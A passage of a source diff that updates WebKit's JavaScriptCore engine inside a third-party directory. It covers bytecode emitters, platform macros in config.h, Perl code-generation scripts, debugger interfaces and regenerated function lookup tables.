+        generator.emitLabel(finallyEndLabel.get());
+    }
+
+    return dst;
+}
+
+// ------------------------------ ScopeNode -----------------------------
+
+inline void ScopeNode::emitStatementsBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (m_data->m_statements)
+        m_data->m_statements->emitBytecode(generator, dst);
+}
+
+// ------------------------------ ProgramNode -----------------------------
+
+RegisterID* ProgramNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
+{
+    generator.emitDebugHook(WillExecuteProgram, firstLine(), lastLine());
+
+    RefPtr<RegisterID> dstRegister = generator.newTemporary();
+    generator.emitLoad(dstRegister.get(), jsUndefined());
+    emitStatementsBytecode(generator, dstRegister.get());
+
+    generator.emitDebugHook(DidExecuteProgram, firstLine(), lastLine());
+    generator.emitEnd(dstRegister.get());
+    return 0;
+}
+
+// ------------------------------ EvalNode -----------------------------
+
+RegisterID* EvalNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
+{
+    generator.emitDebugHook(WillExecuteProgram, firstLine(), lastLine());
+
+    RefPtr<RegisterID> dstRegister = generator.newTemporary();
+    generator.emitLoad(dstRegister.get(), jsUndefined());
+    emitStatementsBytecode(generator, dstRegister.get());
+
+    generator.emitDebugHook(DidExecuteProgram, firstLine(), lastLine());
+    generator.emitEnd(dstRegister.get());
+    return 0;
+}
+
+// ------------------------------ FunctionBodyNode -----------------------------
+
+RegisterID* FunctionBodyNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
+{
+    generator.emitDebugHook(DidEnterCallFrame, firstLine(), lastLine());
+    emitStatementsBytecode(generator, generator.ignoredResult());
+    StatementNode* singleStatement = this->singleStatement();
+    if (singleStatement && singleStatement->isBlock()) {
+        StatementNode* lastStatementInBlock = static_cast<BlockNode*>(singleStatement)->lastStatement();
+        if (lastStatementInBlock && lastStatementInBlock->isReturnNode())
+            return 0;
+    }
+
+    RegisterID* r0 = generator.emitLoad(0, jsUndefined());
+    generator.emitDebugHook(WillLeaveCallFrame, firstLine(), lastLine());
+    generator.emitReturn(r0);
+    return 0;
+}
+
+// ------------------------------ FuncDeclNode ---------------------------------
+
+RegisterID* FuncDeclNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    if (dst == generator.ignoredResult())
+        dst = 0;
+    return dst;
+}
+
+// ------------------------------ FuncExprNode ---------------------------------
+
+RegisterID* FuncExprNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
+{
+    return generator.emitNewFunctionExpression(generator.finalDestination(dst), this);
+}
+
+} // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/config.h b/src/3rdparty/webkit/JavaScriptCore/config.h
index 6681761..d5fdfe9 100644
--- a/src/3rdparty/webkit/JavaScriptCore/config.h
+++ b/src/3rdparty/webkit/JavaScriptCore/config.h
@@ -25,24 +25,26 @@
 
 #include <wtf/Platform.h>
 
-#if PLATFORM(WIN_OS) && !defined(BUILDING_WX__) && !COMPILER(GCC)
+#if OS(WINDOWS) && !defined(BUILDING_WX__) && !COMPILER(GCC)
 #if defined(BUILDING_JavaScriptCore) || defined(BUILDING_WTF)
 #define JS_EXPORTDATA __declspec(dllexport)
 #else
 #define JS_EXPORTDATA __declspec(dllimport)
 #endif
+#define JS_EXPORTCLASS JS_EXPORTDATA
 #else
 #define JS_EXPORTDATA
+#define JS_EXPORTCLASS
 #endif
 
-#if PLATFORM(WIN_OS)
+#if OS(WINDOWS)
 
 // If we don't define these, they get defined in windef.h. 
 // We want to use std::min and std::max
 #define max max
 #define min min
 
-#if !COMPILER(MSVC7) && !PLATFORM(WINCE)
+#if !COMPILER(MSVC7) && !OS(WINCE)
 // We need to define this before the first #include of stdlib.h or it won't contain rand_s.
 #ifndef _CRT_RAND_S
 #define _CRT_RAND_S
@@ -51,13 +53,12 @@
 
 #endif
 
-#if PLATFORM(FREEBSD) || PLATFORM(OPENBSD)
+#if OS(FREEBSD) || OS(OPENBSD)
 #define HAVE_PTHREAD_NP_H 1
 #endif
 
 /* FIXME: if all platforms have these, do they really need #defines? */
 #define HAVE_STDINT_H 1
-#define HAVE_STRING_H 1
 
 #define WTF_CHANGES 1
 
@@ -74,3 +75,15 @@
 #include <wtf/DisallowCType.h>
 #endif
 
+#if PLATFORM(CHROMIUM)
+#if !defined(WTF_USE_V8)
+#define WTF_USE_V8 1
+#endif
+#endif /* PLATFORM(CHROMIUM) */
+
+#if !defined(WTF_USE_V8)
+#define WTF_USE_V8 0
+#endif /* !defined(WTF_USE_V8) */
+
+/* Using V8 implies not using JSC and vice versa */
+#define WTF_USE_JSC !WTF_USE_V8
diff --git a/src/3rdparty/webkit/JavaScriptCore/create_hash_table b/src/3rdparty/webkit/JavaScriptCore/create_hash_table
index 4184500..77463fb 100755
--- a/src/3rdparty/webkit/JavaScriptCore/create_hash_table
+++ b/src/3rdparty/webkit/JavaScriptCore/create_hash_table
@@ -252,18 +252,21 @@ sub output() {
     foreach my $key (@keys) {
         my $firstValue = "";
         my $secondValue = "";
+        my $castStr = "";
 
         if ($values[$i]{"type"} eq "Function") {
+            $castStr = "static_cast<NativeFunction>";
             $firstValue = $values[$i]{"function"};
             $secondValue = $values[$i]{"params"};
         } elsif ($values[$i]{"type"} eq "Property") {
+            $castStr = "static_cast<PropertySlot::GetValueFunc>";
             $firstValue = $values[$i]{"get"};
             $secondValue = $values[$i]{"put"};
         } elsif ($values[$i]{"type"} eq "Lexer") {
             $firstValue = $values[$i]{"value"};
             $secondValue = "0";
         }
-        print "   { \"$key\", $attrs[$i], (intptr_t)$firstValue, (intptr_t)$secondValue },\n";
+        print "   { \"$key\", $attrs[$i], (intptr_t)" . $castStr . "($firstValue), (intptr_t)$secondValue },\n";
         $i++;
     }
     print "   { 0, 0, 0, 0 }\n";
diff --git a/src/3rdparty/webkit/JavaScriptCore/create_jit_stubs b/src/3rdparty/webkit/JavaScriptCore/create_jit_stubs
new file mode 100644
index 0000000..4d510ea
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/create_jit_stubs
@@ -0,0 +1,69 @@
+#! /usr/bin/perl -w
+#
+# Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies)
+# Copyright (C) 2010 Patrick Gansterer <paroga@paroga.com>
+#
+# This library is free software; you can redistribute it and/or
+# modify it under the terms of the GNU Library General Public
+# License as published by the Free Software Foundation; either
+# version 2 of the License, or (at your option) any later version.
+#
+# This library is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# Library General Public License for more details.
+#
+# You should have received a copy of the GNU Library General Public License
+# along with this library; see the file COPYING.LIB.  If not, write to
+# the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+# Boston, MA 02110-1301, USA.
+
+use strict;
+use File::Basename;
+use Getopt::Long;
+
+my $usage = basename($0) . " --prefix prefix [--offset offset] file";
+
+my $rtype_template = quotemeta("#rtype#");
+my $offset_template = quotemeta("#offset#");
+my $op_template = quotemeta("#op#");
+
+my $prefix;
+my $offset = 32;
+my $file;
+
+my $getOptionsResult = GetOptions(
+    'prefix=s' => \$prefix,
+    'offset=i' => \$offset
+);
+
+$file = $ARGV[0];
+
+die "$usage\n" unless ($prefix and $file);
+
+my $stub_template = "";
+my $stub = "";
+
+my $rtype = "";
+my $op = "";
+
+print STDERR "Creating JIT stubs for $file \n";
+open(IN, $file) or die "No such file $file";
+
+while ( $_ = <IN> ) {
+    if ( /^$prefix\((.*)\)/ ) {
+        $stub_template .= $1 . "\n";
+    }
+    if ( /^DEFINE_STUB_FUNCTION\((.*), (.*)\)/ ) {
+        $stub = $stub_template;
+        $rtype = quotemeta($1);
+        $op = quotemeta($2);
+        $stub =~ s/$offset_template/$offset/g;
+        $stub =~ s/$rtype_template/$rtype/g;
+        $stub =~ s/$op_template/$op/g;
+        $stub =~ s/\\\*/\*/g;
+        print $stub;
+    }
+}
+
+close(IN);
diff --git a/src/3rdparty/webkit/JavaScriptCore/debugger/Debugger.cpp b/src/3rdparty/webkit/JavaScriptCore/debugger/Debugger.cpp
index 902a802..cbcbd21 100644
--- a/src/3rdparty/webkit/JavaScriptCore/debugger/Debugger.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/debugger/Debugger.cpp
@@ -67,8 +67,9 @@ void Debugger::recompileAllJSFunctions(JSGlobalData* globalData)
     FunctionExecutableSet functionExecutables;
     SourceProviderMap sourceProviders;
 
-    Heap::iterator heapEnd = globalData->heap.primaryHeapEnd();
-    for (Heap::iterator it = globalData->heap.primaryHeapBegin(); it != heapEnd; ++it) {
+    LiveObjectIterator it = globalData->heap.primaryHeapBegin();
+    LiveObjectIterator heapEnd = globalData->heap.primaryHeapEnd();
+    for ( ; it != heapEnd; ++it) {
         if (!(*it)->inherits(&JSFunction::info))
             continue;
 
@@ -93,7 +94,7 @@ void Debugger::recompileAllJSFunctions(JSGlobalData* globalData)
     // JavaScript in the inspector.
     SourceProviderMap::const_iterator end = sourceProviders.end();
     for (SourceProviderMap::const_iterator iter = sourceProviders.begin(); iter != end; ++iter)
-        sourceParsed(iter->second, SourceCode(iter->first), -1, 0);
+        sourceParsed(iter->second, SourceCode(iter->first), -1, UString());
 }
 
 JSValue evaluateInGlobalCallFrame(const UString& script, JSValue& exception, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/JavaScriptCore/debugger/Debugger.h b/src/3rdparty/webkit/JavaScriptCore/debugger/Debugger.h
index 3ee9767..3b9bec4 100644
--- a/src/3rdparty/webkit/JavaScriptCore/debugger/Debugger.h
+++ b/src/3rdparty/webkit/JavaScriptCore/debugger/Debugger.h
@@ -42,7 +42,7 @@ namespace JSC {
         virtual void detach(JSGlobalObject*);
 
         virtual void sourceParsed(ExecState*, const SourceCode&, int errorLineNumber, const UString& errorMessage) = 0;
-        virtual void exception(const DebuggerCallFrame&, intptr_t sourceID, int lineNumber) = 0;
+        virtual void exception(const DebuggerCallFrame&, intptr_t sourceID, int lineNumber, bool hasHandler) = 0;
         virtual void atStatement(const DebuggerCallFrame&, intptr_t sourceID, int lineNumber) = 0;
         virtual void callEvent(const DebuggerCallFrame&, intptr_t sourceID, int lineNumber) = 0;
         virtual void returnEvent(const DebuggerCallFrame&, intptr_t sourceID, int lineNumber) = 0;
diff --git a/src/3rdparty/webkit/JavaScriptCore/debugger/DebuggerActivation.cpp b/src/3rdparty/webkit/JavaScriptCore/debugger/DebuggerActivation.cpp
index 5cc9a9f..0444d23 100644
--- a/src/3rdparty/webkit/JavaScriptCore/debugger/DebuggerActivation.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/debugger/DebuggerActivation.cpp
@@ -71,14 +71,14 @@ bool DebuggerActivation::deleteProperty(ExecState* exec, const Identifier& prope
     return m_activation->deleteProperty(exec, propertyName);
 }
 
-void DebuggerActivation::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void DebuggerActivation::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
-    m_activation->getPropertyNames(exec, propertyNames);
+    m_activation->getPropertyNames(exec, propertyNames, mode);
 }
 
-bool DebuggerActivation::getPropertyAttributes(JSC::ExecState* exec, const Identifier& propertyName, unsigned& attributes) const
+bool DebuggerActivation::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
 {
-    return m_activation->getPropertyAttributes(exec, propertyName, attributes);
+    return m_activation->getOwnPropertyDescriptor(exec, propertyName, descriptor);
 }
 
 void DebuggerActivation::defineGetter(ExecState* exec, const Identifier& propertyName, JSObject* getterFunction, unsigned attributes)
diff --git a/src/3rdparty/webkit/JavaScriptCore/debugger/DebuggerActivation.h b/src/3rdparty/webkit/JavaScriptCore/debugger/DebuggerActivation.h
index 63cf635..3927017 100644
--- a/src/3rdparty/webkit/JavaScriptCore/debugger/DebuggerActivation.h
+++ b/src/3rdparty/webkit/JavaScriptCore/debugger/DebuggerActivation.h
@@ -42,8 +42,8 @@ namespace JSC {
         virtual void put(ExecState*, const Identifier& propertyName, JSValue, PutPropertySlot&);
         virtual void putWithAttributes(ExecState*, const Identifier& propertyName, JSValue, unsigned attributes);
         virtual bool deleteProperty(ExecState*, const Identifier& propertyName);
-        virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&);
-        virtual bool getPropertyAttributes(ExecState*, const Identifier& propertyName, unsigned& attributes) const;
+        virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&, EnumerationMode mode = ExcludeDontEnumProperties);
+        virtual bool getOwnPropertyDescriptor(ExecState*, const Identifier&, PropertyDescriptor&);
         virtual void defineGetter(ExecState*, const Identifier& propertyName, JSObject* getterFunction, unsigned attributes);
         virtual void defineSetter(ExecState*, const Identifier& propertyName, JSObject* setterFunction, unsigned attributes);
         virtual JSValue lookupGetter(ExecState*, const Identifier& propertyName);
@@ -51,7 +51,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype) 
         {
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags)); 
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
         }
 
     protected:
diff --git a/src/3rdparty/webkit/JavaScriptCore/debugger/DebuggerCallFrame.cpp b/src/3rdparty/webkit/JavaScriptCore/debugger/DebuggerCallFrame.cpp
index c9d7cc6..05a385d 100644
--- a/src/3rdparty/webkit/JavaScriptCore/debugger/DebuggerCallFrame.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/debugger/DebuggerCallFrame.cpp
@@ -44,18 +44,18 @@ const UString* DebuggerCallFrame::functionName() const
     JSFunction* function = asFunction(m_callFrame->callee());
     if (!function)
         return 0;
-    return &function->name(&m_callFrame->globalData());
+    return &function->name(m_callFrame);
 }
     
 UString DebuggerCallFrame::calculatedFunctionName() const
 {
     if (!m_callFrame->codeBlock())
-        return 0;
+        return UString();
     
     JSFunction* function = asFunction(m_callFrame->callee());
     if (!function)
-        return 0;
-    return function->calculatedDisplayName(&m_callFrame->globalData());
+        return UString();
+    return function->calculatedDisplayName(m_callFrame);
 }
 
 DebuggerCallFrame::Type DebuggerCallFrame::type() const
diff --git a/src/3rdparty/webkit/JavaScriptCore/generated/ArrayPrototype.lut.h b/src/3rdparty/webkit/JavaScriptCore/generated/ArrayPrototype.lut.h
index 5732add..ffe067f 100644
--- a/src/3rdparty/webkit/JavaScriptCore/generated/ArrayPrototype.lut.h
+++ b/src/3rdparty/webkit/JavaScriptCore/generated/ArrayPrototype.lut.h
@@ -1,31 +1,31 @@
-// Automatically generated from ../runtime/ArrayPrototype.cpp using JavaScriptCore/create_hash_table. DO NOT EDIT!
+// Automatically generated from runtime\ArrayPrototype.cpp using C:/dev/webkit-2.0/JavaScriptCore/create_hash_table. DO NOT EDIT!
 
 #include "Lookup.h"
 
 namespace JSC {
 
 static const struct HashTableValue arrayTableValues[22] = {
-   { "toString", DontEnum|Function, (intptr_t)arrayProtoFuncToString, (intptr_t)0 },
-   { "toLocaleString", DontEnum|Function, (intptr_t)arrayProtoFuncToLocaleString, (intptr_t)0 },
-   { "concat", DontEnum|Function, (intptr_t)arrayProtoFuncConcat, (intptr_t)1 },
-   { "join", DontEnum|Function, (intptr_t)arrayProtoFuncJoin, (intptr_t)1 },
-   { "pop", DontEnum|Function, (intptr_t)arrayProtoFuncPop, (intptr_t)0 },
-   { "push", DontEnum|Function, (intptr_t)arrayProtoFuncPush, (intptr_t)1 },
-   { "reverse", DontEnum|Function, (intptr_t)arrayProtoFuncReverse, (intptr_t)0 },
-   { "shift", DontEnum|Function, (intptr_t)arrayProtoFuncShift, (intptr_t)0 },
-   { "slice", DontEnum|Function, (intptr_t)arrayProtoFuncSlice, (intptr_t)2 },
-   { "sort", DontEnum|Function, (intptr_t)arrayProtoFuncSort, (intptr_t)1 },
-   { "splice", DontEnum|Function, (intptr_t)arrayProtoFuncSplice, (intptr_t)2 },
-   { "unshift", DontEnum|Function, (intptr_t)arrayProtoFuncUnShift, (intptr_t)1 },
-   { "every", DontEnum|Function, (intptr_t)arrayProtoFuncEvery, (intptr_t)1 },
-   { "forEach", DontEnum|Function, (intptr_t)arrayProtoFuncForEach, (intptr_t)1 },
-   { "some", DontEnum|Function, (intptr_t)arrayProtoFuncSome, (intptr_t)1 },
-   { "indexOf", DontEnum|Function, (intptr_t)arrayProtoFuncIndexOf, (intptr_t)1 },
-   { "lastIndexOf", DontEnum|Function, (intptr_t)arrayProtoFuncLastIndexOf, (intptr_t)1 },
-   { "filter", DontEnum|Function, (intptr_t)arrayProtoFuncFilter, (intptr_t)1 },
-   { "reduce", DontEnum|Function, (intptr_t)arrayProtoFuncReduce, (intptr_t)1 },
-   { "reduceRight", DontEnum|Function, (intptr_t)arrayProtoFuncReduceRight, (intptr_t)1 },
-   { "map", DontEnum|Function, (intptr_t)arrayProtoFuncMap, (intptr_t)1 },
+   { "toString", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncToString), (intptr_t)0 },
+   { "toLocaleString", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncToLocaleString), (intptr_t)0 },
+   { "concat", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncConcat), (intptr_t)1 },
+   { "join", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncJoin), (intptr_t)1 },
+   { "pop", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncPop), (intptr_t)0 },
+   { "push", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncPush), (intptr_t)1 },
+   { "reverse", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncReverse), (intptr_t)0 },
+   { "shift", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncShift), (intptr_t)0 },
+   { "slice", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncSlice), (intptr_t)2 },
+   { "sort", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncSort), (intptr_t)1 },
+   { "splice", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncSplice), (intptr_t)2 },
+   { "unshift", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncUnShift), (intptr_t)1 },
+   { "every", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncEvery), (intptr_t)1 },
+   { "forEach", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncForEach), (intptr_t)1 },
+   { "some", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncSome), (intptr_t)1 },
+   { "indexOf", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncIndexOf), (intptr_t)1 },
+   { "lastIndexOf", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncLastIndexOf), (intptr_t)1 },
+   { "filter", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncFilter), (intptr_t)1 },
+   { "reduce", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncReduce), (intptr_t)1 },
+   { "reduceRight", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncReduceRight), (intptr_t)1 },
+   { "map", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(arrayProtoFuncMap), (intptr_t)1 },
    { 0, 0, 0, 0 }
 };
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/generated/DatePrototype.lut.h b/src/3rdparty/webkit/JavaScriptCore/generated/DatePrototype.lut.h
index 8b1c735..56acdba 100644
--- a/src/3rdparty/webkit/JavaScriptCore/generated/DatePrototype.lut.h
+++ b/src/3rdparty/webkit/JavaScriptCore/generated/DatePrototype.lut.h
@@ -1,56 +1,56 @@
-// Automatically generated from ../runtime/DatePrototype.cpp using JavaScriptCore/create_hash_table. DO NOT EDIT!
+// Automatically generated from runtime\DatePrototype.cpp using C:/dev/webkit-2.0/JavaScriptCore/create_hash_table. DO NOT EDIT!
 
 #include "Lookup.h"
 
 namespace JSC {
 
 static const struct HashTableValue dateTableValues[47] = {
-   { "toString", DontEnum|Function, (intptr_t)dateProtoFuncToString, (intptr_t)0 },
-   { "toISOString", DontEnum|Function, (intptr_t)dateProtoFuncToISOString, (intptr_t)0 },
-   { "toUTCString", DontEnum|Function, (intptr_t)dateProtoFuncToUTCString, (intptr_t)0 },
-   { "toDateString", DontEnum|Function, (intptr_t)dateProtoFuncToDateString, (intptr_t)0 },
-   { "toTimeString", DontEnum|Function, (intptr_t)dateProtoFuncToTimeString, (intptr_t)0 },
-   { "toLocaleString", DontEnum|Function, (intptr_t)dateProtoFuncToLocaleString, (intptr_t)0 },
-   { "toLocaleDateString", DontEnum|Function, (intptr_t)dateProtoFuncToLocaleDateString, (intptr_t)0 },
-   { "toLocaleTimeString", DontEnum|Function, (intptr_t)dateProtoFuncToLocaleTimeString, (intptr_t)0 },
-   { "valueOf", DontEnum|Function, (intptr_t)dateProtoFuncGetTime, (intptr_t)0 },
-   { "getTime", DontEnum|Function, (intptr_t)dateProtoFuncGetTime, (intptr_t)0 },
-   { "getFullYear", DontEnum|Function, (intptr_t)dateProtoFuncGetFullYear, (intptr_t)0 },
-   { "getUTCFullYear", DontEnum|Function, (intptr_t)dateProtoFuncGetUTCFullYear, (intptr_t)0 },
-   { "toGMTString", DontEnum|Function, (intptr_t)dateProtoFuncToGMTString, (intptr_t)0 },
-   { "getMonth", DontEnum|Function, (intptr_t)dateProtoFuncGetMonth, (intptr_t)0 },
-   { "getUTCMonth", DontEnum|Function, (intptr_t)dateProtoFuncGetUTCMonth, (intptr_t)0 },
-   { "getDate", DontEnum|Function, (intptr_t)dateProtoFuncGetDate, (intptr_t)0 },
-   { "getUTCDate", DontEnum|Function, (intptr_t)dateProtoFuncGetUTCDate, (intptr_t)0 },
-   { "getDay", DontEnum|Function, (intptr_t)dateProtoFuncGetDay, (intptr_t)0 },
-   { "getUTCDay", DontEnum|Function, (intptr_t)dateProtoFuncGetUTCDay, (intptr_t)0 },
-   { "getHours", DontEnum|Function, (intptr_t)dateProtoFuncGetHours, (intptr_t)0 },
-   { "getUTCHours", DontEnum|Function, (intptr_t)dateProtoFuncGetUTCHours, (intptr_t)0 },
-   { "getMinutes", DontEnum|Function, (intptr_t)dateProtoFuncGetMinutes, (intptr_t)0 },
-   { "getUTCMinutes", DontEnum|Function, (intptr_t)dateProtoFuncGetUTCMinutes, (intptr_t)0 },
-   { "getSeconds", DontEnum|Function, (intptr_t)dateProtoFuncGetSeconds, (intptr_t)0 },
-   { "getUTCSeconds", DontEnum|Function, (intptr_t)dateProtoFuncGetUTCSeconds, (intptr_t)0 },
-   { "getMilliseconds", DontEnum|Function, (intptr_t)dateProtoFuncGetMilliSeconds, (intptr_t)0 },
-   { "getUTCMilliseconds", DontEnum|Function, (intptr_t)dateProtoFuncGetUTCMilliseconds, (intptr_t)0 },
-   { "getTimezoneOffset", DontEnum|Function, (intptr_t)dateProtoFuncGetTimezoneOffset, (intptr_t)0 },
-   { "setTime", DontEnum|Function, (intptr_t)dateProtoFuncSetTime, (intptr_t)1 },
-   { "setMilliseconds", DontEnum|Function, (intptr_t)dateProtoFuncSetMilliSeconds, (intptr_t)1 },
-   { "setUTCMilliseconds", DontEnum|Function, (intptr_t)dateProtoFuncSetUTCMilliseconds, (intptr_t)1 },
-   { "setSeconds", DontEnum|Function, (intptr_t)dateProtoFuncSetSeconds, (intptr_t)2 },
-   { "setUTCSeconds", DontEnum|Function, (intptr_t)dateProtoFuncSetUTCSeconds, (intptr_t)2 },
-   { "setMinutes", DontEnum|Function, (intptr_t)dateProtoFuncSetMinutes, (intptr_t)3 },
-   { "setUTCMinutes", DontEnum|Function, (intptr_t)dateProtoFuncSetUTCMinutes, (intptr_t)3 },
-   { "setHours", DontEnum|Function, (intptr_t)dateProtoFuncSetHours, (intptr_t)4 },
-   { "setUTCHours", DontEnum|Function, (intptr_t)dateProtoFuncSetUTCHours, (intptr_t)4 },
-   { "setDate", DontEnum|Function, (intptr_t)dateProtoFuncSetDate, (intptr_t)1 },
-   { "setUTCDate", DontEnum|Function, (intptr_t)dateProtoFuncSetUTCDate, (intptr_t)1 },
-   { "setMonth", DontEnum|Function, (intptr_t)dateProtoFuncSetMonth, (intptr_t)2 },
-   { "setUTCMonth", DontEnum|Function, (intptr_t)dateProtoFuncSetUTCMonth, (intptr_t)2 },
-   { "setFullYear", DontEnum|Function, (intptr_t)dateProtoFuncSetFullYear, (intptr_t)3 },
-   { "setUTCFullYear", DontEnum|Function, (intptr_t)dateProtoFuncSetUTCFullYear, (intptr_t)3 },
-   { "setYear", DontEnum|Function, (intptr_t)dateProtoFuncSetYear, (intptr_t)1 },
-   { "getYear", DontEnum|Function, (intptr_t)dateProtoFuncGetYear, (intptr_t)0 },
-   { "toJSON", DontEnum|Function, (intptr_t)dateProtoFuncToJSON, (intptr_t)0 },
+   { "toString", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncToString), (intptr_t)0 },
+   { "toISOString", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncToISOString), (intptr_t)0 },
+   { "toUTCString", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncToUTCString), (intptr_t)0 },
+   { "toDateString", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncToDateString), (intptr_t)0 },
+   { "toTimeString", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncToTimeString), (intptr_t)0 },
+   { "toLocaleString", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncToLocaleString), (intptr_t)0 },
+   { "toLocaleDateString", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncToLocaleDateString), (intptr_t)0 },
+   { "toLocaleTimeString", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncToLocaleTimeString), (intptr_t)0 },
+   { "valueOf", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetTime), (intptr_t)0 },
+   { "getTime", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetTime), (intptr_t)0 },
+   { "getFullYear", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetFullYear), (intptr_t)0 },
+   { "getUTCFullYear", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetUTCFullYear), (intptr_t)0 },
+   { "toGMTString", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncToGMTString), (intptr_t)0 },
+   { "getMonth", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetMonth), (intptr_t)0 },
+   { "getUTCMonth", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetUTCMonth), (intptr_t)0 },
+   { "getDate", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetDate), (intptr_t)0 },
+   { "getUTCDate", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetUTCDate), (intptr_t)0 },
+   { "getDay", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetDay), (intptr_t)0 },
+   { "getUTCDay", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetUTCDay), (intptr_t)0 },
+   { "getHours", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetHours), (intptr_t)0 },
+   { "getUTCHours", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetUTCHours), (intptr_t)0 },
+   { "getMinutes", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetMinutes), (intptr_t)0 },
+   { "getUTCMinutes", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetUTCMinutes), (intptr_t)0 },
+   { "getSeconds", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetSeconds), (intptr_t)0 },
+   { "getUTCSeconds", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetUTCSeconds), (intptr_t)0 },
+   { "getMilliseconds", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetMilliSeconds), (intptr_t)0 },
+   { "getUTCMilliseconds", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetUTCMilliseconds), (intptr_t)0 },
+   { "getTimezoneOffset", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncGetTimezoneOffset), (intptr_t)0 },
+   { "setTime", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncSetTime), (intptr_t)1 },
+   { "setMilliseconds", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncSetMilliSeconds), (intptr_t)1 },
+   { "setUTCMilliseconds", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncSetUTCMilliseconds), (intptr_t)1 },
+   { "setSeconds", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncSetSeconds), (intptr_t)2 },
+   { "setUTCSeconds", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncSetUTCSeconds), (intptr_t)2 },
+   { "setMinutes", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncSetMinutes), (intptr_t)3 },
+   { "setUTCMinutes", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(dateProtoFuncSetUTCMinutes), (intptr_t)3 },
